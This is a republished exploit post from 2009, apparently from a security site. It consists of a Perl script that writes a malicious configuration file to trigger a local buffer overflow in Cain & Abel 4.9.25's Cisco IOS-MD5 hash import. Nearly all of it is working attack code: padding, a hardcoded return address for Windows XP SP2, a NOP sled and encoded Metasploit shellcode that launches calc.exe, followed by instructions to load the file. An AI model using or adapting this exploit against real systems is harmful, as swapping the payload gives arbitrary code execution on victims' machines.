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Cain & Abel 4.9.25 (Cisco IOS-MD5) Local Buffer Overflow Exploit
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来源：send9 /at/ chiseclabs.com 作者：send9 发布时间：2009-01-07
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#!perl -w
# Simple overflow for Cain & Abel v4.9.25 (and below?)
# This script will output a file; import this file as a
# config file under Cracker -> Cisco IOS-MD5 Hashes
#
# If Cain crashes but calc.exe isn't run, change $eip to reflect
# your system.
#
# send9 /at/ chiseclabs.com
use strict;
my $eip = "\xD8\x69\x83\x7C"; # 0x7C8369D8 - kernel32.dll, call esp (WinXP SP2)
my $nop = "\x90" x 4;
my $pad = "A" x 100;
# win32_exec - EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
"\x42\x50\x42\x30\x42\x50\x4b\x48\x45\x44\x4e\x53\x4b\x58\x4e\x57".
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x31\x4b\x58".
"\x4f\x35\x42\x32\x41\x30\x4b\x4e\x49\x44\x4b\x48\x46\x53\x4b\x48".
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c".
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x45\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x48".
"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x54".
"\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x38".
"\x41\x30\x4b\x4e\x49\x58\x4e\x55\x46\x32\x46\x30\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x38\x42\x34\x4e\x30\x4b\x58\x42\x47\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x56\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x38\x42\x4b".
"\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x46\x4e\x33\x4f\x35\x41\x33".
"\x48\x4f\x42\x46\x48\x55\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x47".
"\x42\x35\x4a\x56\x42\x4f\x4c\x38\x46\x50\x4f\x55\x4a\x36\x4a\x49".
"\x50\x4f\x4c\x58\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x36".
"\x4e\x46\x43\x46\x50\x32\x45\x56\x4a\x37\x45\x56\x42\x30\x5a";
my $b00m = $pad . $eip . $nop . $shellcode;
open(BOF,">cain_ios_ex.conf") or die "Error: Can't open a file for writing\n";
print BOF $b00m;
close(BOF);
print "Now just open cain_ios_ex.conf as a configuration file under Cracker -> Cisco IOS-MD5 Hashes.\n";
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